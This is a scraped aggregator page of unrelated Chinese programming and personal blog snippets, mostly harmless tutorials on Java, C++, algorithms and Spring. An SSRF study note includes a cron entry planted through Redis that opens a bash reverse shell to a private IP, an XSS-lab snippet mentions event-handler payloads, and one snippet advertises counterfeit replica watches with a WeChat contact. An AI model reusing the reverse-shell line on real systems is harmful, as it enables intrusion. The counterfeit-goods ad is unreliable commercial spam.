- 设计模式深度解析:工厂模式与策略模式的终极对决,谁才是真正的设计之王?
疾风终究没有归途
设计模式策略模式工厂模式设计模式
工厂模式和策略模式是两种常见的设计模式,它们在软件开发中有着广泛的应用。尽管它们在某些方面有些相似,但它们的目的和使用场景是不同的。下面将详细解释这两种模式的区别:1.目的不同:工厂模式的主要目的是创建对象。它主要用于封装对象的创建过程,使得对象的创建与使用分离,从而降低系统的耦合度。策略模式的主要目的是选择算法。它主要用于定义一系列的算法,将每个算法封装起来,并使它们可以互相替换。策略模式让算法
- 我要切割时间2023-05-23
雅风66
今天早上5点半的闹钟,在床上迷迷糊糊小睡一会,起床已经6点。做了简单拉升,冥想,喝水等早起动作,打开电脑,等真正开始工作的时候,已经是6:30。工作了大约30多分钟,7点几分的时候,我又刷起了手机视频,再看已经是7:22,儿子很快要起床了。我给他打开了早起音乐,6点半喊他起床。再照顾他洗漱穿衣去上幼儿园。接着,我开始忙自己洗漱,做早餐,吃早餐。事实上,我现在也没有把早餐吃完,时间已经9点了。我的时
- 撰写心得报告,寒调即将收尾 ——报告撰写培训会成功召开
NAZ0817
(通讯员蔡怡薇2022-01-07)为了让队员们对报告的撰写有更加深入的了解,确保寒调的收尾工作顺利进行,,先锋实践队、蒲公英实践队、萤火虫实践队全体队员于2022年1月7日14时准时召开了线上会议。下午14时整,培训会正式开始。本次会议主讲人是先锋实践队队长胡子航。会议伊始,队长胡子航强调了报告撰写对此次寒调的重要性,并要求大家认真对待,接着,简单介绍了报告需要书写哪些内容,随后,就最复杂的格式
- 登录jwt处理
原谅我很悲
#Java项目总结java
登录jwt处理1、引入jwt依赖io.jsonwebtokenjjwt0.9.02、jwt工具类封装packagecom.zhw.util;importio.jsonwebtoken.Claims;importio.jsonwebtoken.JwtBuilder;importio.jsonwebtoken.Jwts;importio.jsonwebtoken.SignatureAlgorithm;
- 敲黑板/上大学前你应该做好哪些准备?才能脱颖而出
李同学的简书
李同学/文/图学姐说:高考结束了、分数线也都出来了。各位小萌新们还在填报着大学的志愿。今天学姐来给你们唠唠上大学前、你应该做好哪些准备?才能在大学脱颖而出!一、给你的大学做一个简单的规划你首先要给自己一个定位、你在大学你要做什么?要成为什么样的人?要怎么渡过大学短短的三年/四年生活。如果你在大学前有一个明确的方向,你就不会一进入大学就很迷茫。自己有一个清楚的定位、进入大学时候你们会有一个新生入学的
- 旧时光记忆之养蚕
林汤汤
我们90后的这一拨人,要是谁小时候没有养过蚕,那都不好意思和大家做朋友的。一到初春售卖蚕幼崽的阿姨,只需要在放学的时候端着盛满蚕宝宝的竹簸箕在小学门口一转悠,都不用叫卖,我们这群小孩子就能在几秒钟时间将阿姨的小摊围的水泄不通。尤其是一些调皮的男孩子你推我搡的,生怕自己挑不到最大的蚕仔,养蚕不同于养猫狗,蚕养起来即简单又卫生,只需要上学前铺好桑叶,放学后打扫蚕砂就好了。蚕的价格更是亲民,省下一顿早饭
- 冒泡排序算法
m0”-“0m
常用算法算法
冒泡排序是一种简单的排序算法,它重复地遍历要排序的数列,一次比较两个元素,如果它们的顺序错误就把它们交换过来。遍历数列的工作是重复进行的,直到没有再需要交换的元素为止,这意味着数列已经排序完成。这个算法的名字由来是因为越小的元素会经由交换慢慢“浮”到数列的顶端(或说是排序的开头位置),就如同水中的气泡一样上升到水面。冒泡排序的写法可以简单分为两种方式,分别是:前同后异、前异后同写法1:前同后异前同
- c++ vector容器构造与数据存放
JianminZheng
C++学习笔记c++开发语言
Vertor容器是什么?在C++的标准模板库(STL)中,std::vector是一种序列容器,它封装了动态大小数组的行为。vector容器允许用户在序列的尾部高效地添加(或删除)元素,并能够像普通数组一样通过索引访问元素。类似于单链数组,可以进行动态扩展,若原空间不足,而是找一个更大的空间,将数据复制到新空间,然后十分原来的空间std::vector容器的一些主要特性:动态数组:std::vec
- 代码随想录算法训练营Day32||Leetcode56. 合并区间、 738.单调递增的数字、
jiegongzhu3z
算法数据结构
一、合并区间简简单单,过了。先排序然后从第二组数据遍历数组,让后者的左边界为前二的最小值,右边界为前二的最大值,最后遇到不重叠返回前一组数据。最后把数组最后一个元素返回即可。classSolution{public:vector>result;vectorpath;staticboolcmp(vector&a,vector&b){if(a[0]==b[0])returna[1]>merge(vec
- 简单聊聊如何买到广州最顶级复刻手表
广州潮品汇
复刻手表是近年来市场上备受关注的产品之一,而广州作为著名的制表产地,拥有许多有着高水平工艺技术的手表生产厂家。在广州购买最顶级复刻手表不仅能保证质量,还能获得非常理想的价格。微信:52226813(下单赠送精美礼品)下面是一些简单的步骤,帮助您购买到广州最顶级复刻手表。首先,确保了解您所追求的手表品牌和型号。广州市场上有许多不同品牌的手表供应商,因此在购买之前,先进行调查和研究是非常重要的。确定您
- Node.js和Puppeteer进行Web抓取的简单使用
今天也想MK代码
node.js前端
至此我们大概了解到node+electron+谷歌浏览器基本开发知识,现在就可以肝代码了。不要忘记自动化工具主要功能,自动化操作网页。这个时候我们就用到了Puppeteer这个库。Puppeteer的基础这里的第一步是创建一个新文件夹,其中我们创建一个新的JavaScript文件。通过终端找到你新建的文件夹,并使用下面的行安装Puppeteer包。npminstall--savepuppeteer
- 深入了解 Python 面向对象编程(最终篇)
稿子不爱
pythonpython开发语言
大家好!今天我们将继续探讨Python中的类及其在面向对象编程(OOP)中的应用。面向对象编程是一种编程范式,它使用“对象”来模拟现实世界的事务,使代码更加结构化和易于维护。在上一篇文章中,我们详细了解了类和实例的概念、'self'关键字的作用、魔法函数的定义、构造函数和析构函数以及面向对象编程的三大特性、抽象类、动态添加内容。而今天,我们将会在原有的基础上学习:数据的三种类型、属性封装以及单例类
- 简单工作流(后端部分-spring boot,顺便优化了下ui)
liaoyuecai
ui
整个项目我丢到github上去了,需要copy的可以直接去githubhttps://github.com/liaoyuecai/demo前端部分目录在:/react/antd-pro-demo/src/pages/workflow后端部分目录在:/java/spring-boot-demo/src/main/java/com/demo/workflow我这边用的JPA做持久化,如果是mybati
- TP6开发文档概述
CRMEB-嘉嘉
httpstp6
TP6(ThinkPHP6)是一个使用PHP语言开发的快速、兼容且简单的面向对象开发框架。以下是一个简化的TP6开发文档概述,涵盖了核心功能和一些常用方法:一、环境准备PHP安装:确保已经安装了与TP6兼容的PHP版本。Composer安装:Composer是PHP的依赖管理工具,用于安装和管理TP6及其依赖。TP6安装:使用Composer创建新的TP6项目,命令为composercreate-
- ssrf做题随记--任务计划的写入、csrf简单知识
板栗妖怪
小记随笔学习
目录ssrfcsrfssrf这里忘记写文档了,然后再次搭建环境一直成功不了所以这里以文字的方式记录一些要注意的点。redis在低版本下没有降权然后执行的时候是以root权限执行,到了高版本以后就不行了redis被降权了,且如果是高版本稳定版的话是没有办法写入也就是更加安全*****/bin/bash-i>&/dev/tcp/192.168.0.106/77770>&1centos写入任务计划是很正
- 【文魁大脑《博赞思维导图管理师认证班》】朱凯丽+第七幅+策划项目步骤
朱凯丽
【姓名】朱凯丽【导师】王玉印、袁文魁【导图解说】平时记笔记都比较随意,内容很杂乱,后期看的时候经常就看不懂,所以自己这次尝试用思维导图记录。在听课的时用软件记录重点,发现自己的总结能力、抓关键字能力需要多锻炼。第一遍听课无法有效抓取关键词,需要第二遍在原基础上总结,增减。中心图:没有特意找图片,直接在云朵上说明。分支:首先简单说明项目的内容,个人计划和活动的策划、组织都可以作为一个项目。策划项目的
- blender 快速LOD
DBBH
Blenderblender
发现一个插件LODsMaker是免费的!这个使用方式也是非常的简单这是效果,UV也算是留着的怎么使用的呢选中这个mesh,然后直接点一点,五个就出来了如果需要其他细分,我感觉可以再产出的结果里,选一个,点一下通过百度网盘分享的文件:LODsMakeraddonsv4-HuyKhoi2407.zip链接:https://pan.baidu.com/s/1zOYCz6t0iOH58gfqp63Igw?
- 2024了,Neo4j能显示节点图片吗?
落叶阳光
工具篇neo4j
经过一番调研,答案是官方的是不能的.但有一个中文版可以显示网络图片作为节点背景如通义千问说说:Neo4j图数据库本身并不直接支持在节点中存储和显示图片。但是,你可以通过几种方式间接实现这一功能:1.存储图片URL最简单的方式是在节点属性中存储指向图片的URL链接。这种方式不需要在Neo4j中存储实际的图片文件,只需要在展示数据时通过URL加载图片即可。cypher浅色版本CREATE(:Perso
- 觉察日记13:兵荒马乱之后的平静
悦尘ceeport
1.【今日情绪觉察】今天我最明显的情绪(霍斯金能量):宽容(350)它的颜色是:黄色它像:阳光深呼吸几次,我感受到它停留在我身体的:心轮我感受到情绪带给我的启示:今天情绪起伏大,整体是包容的状态,允许一切发生。早上从冰箱取出好吃的红豆西米露,加了牛奶,用新煮的姜枣茶加热,刚好不烫,敷完面膜之后便开心的吃起来,是喜欢的味道,宠爱自己不过如此简单,在丧失表达欲的时候,温柔的接住自己的坏心情,然后做滋养
- 微服务的负载均衡不同的场景应用
Wade_Crab
微服务负载均衡架构
这些负载均衡策略各有不同的优点和应用场景。以下是每种负载均衡策略的详细解释及其适用场景:1.RandomLoadBalance(随机算法)描述:随机算法通过随机选择一个服务器来处理请求。对于性能较好的服务器,可以设置更大的权重值,使得它们被选中的概率更高。应用场景:简单负载分配:适用于服务负载均衡策略较简单的场景。适合负载相对均匀且没有严格性能要求的应用场景。权重调节:通过设置权重,可以在一定程度
- 没有尽头的日子
左武右文
吃过早饭带着她信步走进一个长辈家,大学的时候在他家院子里学过简单的刀法,想着他可能还住在这里,就去看看。进入大门后,却只看到一位老人正坐在当门做鞋,不知道姓名,但还是问候了奶奶好,她便热情地邀请我们坐下。问到她在做什么,她回答说出来不怕你笑话,卧迪的奶奶去世时,是我给她穿的寿衣,她那个鞋买小了,脚趾头都难套进去,这不我也担心那样,正给自己做鞋呢,死的时候好穿……活着的人为自己的死做准备,这是一种悲
- 浅说——婚姻
一亩田生活资讯
说说婚姻吧!用我这尚且不成熟的眼光去审视它。也许是因为我和夫携手多年的婚姻历程,让我或多或少的有点感慨和领悟!一直是个柔弱而现实的人。犹记得,那年,母亲的去世,让我觉得自己像逐流在水中的浮萍。家没了,我害怕极了。。。。。。我的成长经历让我对亲情的渴求胜于一切。只是想要一个家,遮风避雨,知冷知暖的家。“他会疼我的”就这样一个最简单,也是最奢侈的理由,我匆匆地把自己嫁了。许多年后的今天,夫仍然会心有不
- Scratch编程新纪元:网络请求与数据解析的探索之旅
2401_85812053
开发语言
标题:“Scratch编程新纪元:网络请求与数据解析的探索之旅”引言Scratch,这个由麻省理工学院媒体实验室开发的图形化编程工具,自2007年问世以来,就以其独特的拖拽式编程方式,深受全球青少年编程爱好者的喜爱。它不仅让编程变得简单有趣,更激发了无数孩子的创造力和逻辑思维能力。随着技术的发展,Scratch也在不断进化,那么,它是否支持网络请求和数据解析呢?本文将带你一探究竟。Scratch的
- 《CSS 3D 变形探秘:开启网页设计新维度》
小刘|
css3d前端
一、移动:精确控制元素位置translate函数为我们提供了强大的移动能力。可以沿x轴、y轴甚至z轴来调整元素的位置。无论是简单地在平面上平移,还是在三维空间中进行精准定位,translate都能轻松胜任。它让元素的布局更加灵活多变,为设计师提供了无限的创意空间。translate(tx[,ty]:沿x轴移动tx距离,沿y轴移动ty的距离ty可以省略,如果省略则ty默认为0ranslate(tx,
- 计算机网络面试题总结
你臭显摆什么呀
转载:https://www.cnblogs.com/inception6-lxc/p/9152691.html1.OSI,TCP/IP,五层协议的体系结构,以及各层协议image.png1)物理层该层为上层协议提供了一个传输数据的可靠的物理媒体。简单的说,物理层确保原始的数据可在各种物理媒体上传输。两个重要的设备名称,中继器(Repeater,也叫放大器)和集线器。2)数据链路层该层的作用包括:
- XSS LABS - Level 17 过关思路
SRC_BLUE_17
网络安全#网络安全靶场笔记xss前端网络安全web安全
关注这个靶场的其他相关笔记:XSS-LABS——靶场笔记合集-CSDN博客0x01:过关流程进入靶场,空空如也,右击页面,查看网页源码,找找可疑点:可以看到,靶场默认传参,都传递到了标签内,并且分别作为key和value的格式。那这个就很简单了,直接给他传个监听事件即可(这个靶场推荐在Google浏览器中完成,FireFox中容易出现下面这个情况,即标签不显示)。XSSPayload,以及攻击流程
- 2022-06-22
卿林
雨点夏天的雨是比太阳更好一些的,当然这是说雨量适可的那种。这两年气候的反常,必须得先说好希望的是怎样的雨。其实,凡事也都是只有适可了才是好。早上出门前专门看了最新的天气预报才关电视,这边是中到大雨,所以在包里装了凉鞋和伞。说到电视,已经被最新人类抛弃不见的电器,我想我是会一直用的,反复看个纪录片,回放或者投屏看球赛,还是习惯电视,操作简单一点。这边的湿热夏天模式已完全开启,雨不下透就更加桑拿。可是
- K-means聚类算法:从原理到实践的全面解读
一休哥助手
人工智能算法kmeans聚类
引言在当今数据驱动的时代,机器学习技术的发展已经成为各行各业的重要驱动力。在机器学习中,聚类算法是一类被广泛应用的技术之一。聚类旨在将数据集中的样本划分为不同的组,使得组内的样本相似度高,组间的相似度低。K-means聚类算法作为聚类算法中的一种经典方法,因其简单、高效的特性被广泛应用于各个领域。在本文中,我们将深入探讨K-means聚类算法,从基本原理到实际应用,以及算法的优化和实现方法。首先,
- 有时候,我们的一句随口说说,却是孩子的整个世界......
美式学习零距离
跟我小时候比起来,现在的孩子生活条件好了,各种物质诱惑也多。而孩子在学习道路上,父母也会紧跟其后,不断督促孩子认真学习,生怕自己一放松,孩子功课就会落下。如果这时我问一个问题,“让你一个月不管孩子的学习行不行?”家长们肯定纷纷跳出来,“那怎么行!孩子不自觉,我不督促的话,他肯定不会认真学习了”。虽然说,孩子的学习在一定程度上,取决于父母对孩子的关注有多少,但从这个简单的问题中,其实还折射出了另一个
- 互联网最火的创业项目,今年网上最火的赚钱项目是什么?
好项目高省
很多年轻人想要自己创业,但是一开始他们都非常迷茫,不知道什么行业的前景比较好,什么行业最能挣钱,有哪些好的创业项目推荐?其实,做项目不是大家看好,而是自己看好,大家看好的生意还有你的机会吗?而要找适合自己发展的项目。二、都有哪些创业致富项目?现在新冠已经全面开放,地摊经济开始了,可以学简易好做的1.关于油炸类,只需要穿串,备好调味料2.米线类,也是提前调好口味,煮熟米线等可以3.肉夹馍等等都是简单
- jquery实现的jsonp掉java后台
知了ing
javajsonpjquery
什么是JSONP?
先说说JSONP是怎么产生的:
其实网上关于JSONP的讲解有很多,但却千篇一律,而且云里雾里,对于很多刚接触的人来讲理解起来有些困难,小可不才,试着用自己的方式来阐释一下这个问题,看看是否有帮助。
1、一个众所周知的问题,Ajax直接请求普通文件存在跨域无权限访问的问题,甭管你是静态页面、动态网页、web服务、WCF,只要是跨域请求,一律不准;
2、
- Struts2学习笔记
caoyong
struts2
SSH : Spring + Struts2 + Hibernate
三层架构(表示层,业务逻辑层,数据访问层) MVC模式 (Model View Controller)
分层原则:单向依赖,接口耦合
1、Struts2 = Struts + Webwork
2、搭建struts2开发环境
a>、到www.apac
- SpringMVC学习之后台往前台传值方法
满城风雨近重阳
springMVC
springMVC控制器往前台传值的方法有以下几种:
1.ModelAndView
通过往ModelAndView中存放viewName:目标地址和attribute参数来实现传参:
ModelAndView mv=new ModelAndView();
mv.setViewName="success
- WebService存在的必要性?
一炮送你回车库
webservice
做Java的经常在选择Webservice框架上徘徊很久,Axis Xfire Axis2 CXF ,他们只有一个功能,发布HTTP服务然后用XML做数据传输。
是的,他们就做了两个功能,发布一个http服务让客户端或者浏览器连接,接收xml参数并发送xml结果。
当在不同的平台间传输数据时,就需要一个都能解析的数据格式。
但是为什么要使用xml呢?不能使json或者其他通用数据
- js年份下拉框
3213213333332132
java web ee
<div id="divValue">test...</div>测试
//年份
<select id="year"></select>
<script type="text/javascript">
window.onload =
- 简单链式调用的实现技术
归来朝歌
方法调用链式反应编程思想
在编程中,我们可以经常遇到这样一种场景:一个实例不断调用它自身的方法,像一条链条一样进行调用
这样的调用你可能在Ajax中,在页面中添加标签:
$("<p>").append($("<span>").text(list[i].name)).appendTo("#result");
也可能在HQ
- JAVA调用.net 发布的webservice 接口
darkranger
webservice
/**
* @Title: callInvoke
* @Description: TODO(调用接口公共方法)
* @param @param url 地址
* @param @param method 方法
* @param @param pama 参数
* @param @return
* @param @throws BusinessException
- Javascript模糊查找 | 第一章 循环不能不重视。
aijuans
Way
最近受我的朋友委托用js+HTML做一个像手册一样的程序,里面要有可展开的大纲,模糊查找等功能。我这个人说实在的懒,本来是不愿意的,但想起了父亲以前教我要给朋友搞好关系,再加上这也可以巩固自己的js技术,于是就开始开发这个程序,没想到却出了点小问题,我做的查找只能绝对查找。具体的js代码如下:
function search(){
var arr=new Array("my
- 狼和羊,该怎么抉择
atongyeye
工作
狼和羊,该怎么抉择
在做一个链家的小项目,只有我和另外一个同事两个人负责,各负责一部分接口,我的接口写完,并全部测联调试通过。所以工作就剩下一下细枝末节的,工作就轻松很多。每天会帮另一个同事测试一些功能点,协助他完成一些业务型不强的工作。
今天早上到公司没多久,领导就在QQ上给我发信息,让我多协助同事测试,让我积极主动些,有点责任心等等,我听了这话,心里面立马凉半截,首先一个领导轻易说
- 读取android系统的联系人拨号
百合不是茶
androidsqlite数据库内容提供者系统服务的使用
联系人的姓名和号码是保存在不同的表中,不要一下子把号码查询来,我开始就是把姓名和电话同时查询出来的,导致系统非常的慢
关键代码:
1, 使用javabean操作存储读取到的数据
package com.example.bean;
/**
*
* @author Admini
- ORACLE自定义异常
bijian1013
数据库自定义异常
实例:
CREATE OR REPLACE PROCEDURE test_Exception
(
ParameterA IN varchar2,
ParameterB IN varchar2,
ErrorCode OUT varchar2 --返回值,错误编码
)
AS
/*以下是一些变量的定义*/
V1 NUMBER;
V2 nvarc
- 查看端号使用情况
征客丶
windows
一、查看端口
在windows命令行窗口下执行:
>netstat -aon|findstr "8080"
显示结果:
TCP 127.0.0.1:80 0.0.0.0:0 &
- 【Spark二十】运行Spark Streaming的NetworkWordCount实例
bit1129
wordcount
Spark Streaming简介
NetworkWordCount代码
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
- Struts2 与 SpringMVC的比较
BlueSkator
struts2spring mvc
1. 机制:spring mvc的入口是servlet,而struts2是filter,这样就导致了二者的机制不同。 2. 性能:spring会稍微比struts快。spring mvc是基于方法的设计,而sturts是基于类,每次发一次请求都会实例一个action,每个action都会被注入属性,而spring基于方法,粒度更细,但要小心把握像在servlet控制数据一样。spring
- Hibernate在更新时,是可以不用session的update方法的(转帖)
BreakingBad
Hibernateupdate
地址:http://blog.csdn.net/plpblue/article/details/9304459
public void synDevNameWithItil()
{Session session = null;Transaction tr = null;try{session = HibernateUtil.getSession();tr = session.beginTran
- 读《研磨设计模式》-代码笔记-观察者模式
bylijinnan
java设计模式
声明: 本文只为方便我个人查阅和理解,详细的分析以及源代码请移步 原作者的博客http://chjavach.iteye.com/
import java.util.ArrayList;
import java.util.List;
import java.util.Observable;
import java.util.Observer;
/**
* “观
- 重置MySQL密码
chenhbc
mysql重置密码忘记密码
如果你也像我这么健忘,把MySQL的密码搞忘记了,经过下面几个步骤就可以重置了(以Windows为例,Linux/Unix类似):
1、关闭MySQL服务
2、打开CMD,进入MySQL安装目录的bin目录下,以跳过权限检查的方式启动MySQL
mysqld --skip-grant-tables
3、新开一个CMD窗口,进入MySQL
mysql -uroot
 
- 再谈系统论,控制论和信息论
comsci
设计模式生物能源企业应用领域模型
再谈系统论,控制论和信息论
偶然看
- oracle moving window size与 AWR retention period关系
daizj
oracle
转自: http://tomszrp.itpub.net/post/11835/494147
晚上在做11gR1的一个awrrpt报告时,顺便想调整一下AWR snapshot的保留时间,结果遇到了ORA-13541这样的错误.下面是这个问题的发生和解决过程.
SQL> select * from v$version;
BANNER
-------------------
- Python版B树
dieslrae
python
话说以前的树都用java写的,最近发现python有点生疏了,于是用python写了个B树实现,B树在索引领域用得还是蛮多了,如果没记错mysql的默认索引好像就是B树...
首先是数据实体对象,很简单,只存放key,value
class Entity(object):
'''数据实体'''
def __init__(self,key,value)
- C语言冒泡排序
dcj3sjt126com
算法
代码示例:
# include <stdio.h>
//冒泡排序
void sort(int * a, int len)
{
int i, j, t;
for (i=0; i<len-1; i++)
{
for (j=0; j<len-1-i; j++)
{
if (a[j] > a[j+1]) // >表示升序
- 自定义导航栏样式
dcj3sjt126com
自定义
-(void)setupAppAppearance
{
[[UILabel appearance] setFont:[UIFont fontWithName:@"FZLTHK—GBK1-0" size:20]];
[UIButton appearance].titleLabel.font =[UIFont fontWithName:@"FZLTH
- 11.性能优化-优化-JVM参数总结
frank1234
jvm参数性能优化
1.堆
-Xms --初始堆大小
-Xmx --最大堆大小
-Xmn --新生代大小
-Xss --线程栈大小
-XX:PermSize --永久代初始大小
-XX:MaxPermSize --永久代最大值
-XX:SurvivorRatio --新生代和suvivor比例,默认为8
-XX:TargetSurvivorRatio --survivor可使用
- nginx日志分割 for linux
HarborChung
nginxlinux脚本
nginx日志分割 for linux 默认情况下,nginx是不分割访问日志的,久而久之,网站的日志文件将会越来越大,占用空间不说,如果有问题要查看网站的日志的话,庞大的文件也将很难打开,于是便有了下面的脚本 使用方法,先将以下脚本保存为 cutlog.sh,放在/root 目录下,然后给予此脚本执行的权限
复制代码代码如下:
chmo
- Spring4新特性——泛型限定式依赖注入
jinnianshilongnian
springspring4泛型式依赖注入
Spring4新特性——泛型限定式依赖注入
Spring4新特性——核心容器的其他改进
Spring4新特性——Web开发的增强
Spring4新特性——集成Bean Validation 1.1(JSR-349)到SpringMVC
Spring4新特性——Groovy Bean定义DSL
Spring4新特性——更好的Java泛型操作API
Spring4新
- centOS安装GCC和G++
liuxihope
centosgcc
Centos支持yum安装,安装软件一般格式为yum install .......,注意安装时要先成为root用户。
按照这个思路,我想安装过程如下:
安装gcc:yum install gcc
安装g++: yum install g++
实际操作过程发现,只能有gcc安装成功,而g++安装失败,提示g++ command not found。上网查了一下,正确安装应该
- 第13章 Ajax进阶(上)
onestopweb
Ajax
index.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/
- How to determine BusinessObjects service pack and fix pack
blueoxygen
BO
http://bukhantsov.org/2011/08/how-to-determine-businessobjects-service-pack-and-fix-pack/
The table below is helpful. Reference
BOE XI 3.x
12.0.0.
y BOE XI 3.0 12.0.
x.
y BO
- Oracle里的自增字段设置
tomcat_oracle
oracle
大家都知道吧,这很坑,尤其是用惯了mysql里的自增字段设置,结果oracle里面没有的。oh,no 我用的是12c版本的,它有一个新特性,可以这样设置自增序列,在创建表是,把id设置为自增序列
create table t
(
id number generated by default as identity (start with 1 increment b
- Spring Security(01)——初体验
yang_winnie
springSecurity
Spring Security(01)——初体验
博客分类: spring Security
Spring Security入门安全认证
首先我们为Spring Security专门建立一个Spring的配置文件,该文件就专门用来作为Spring Security的配置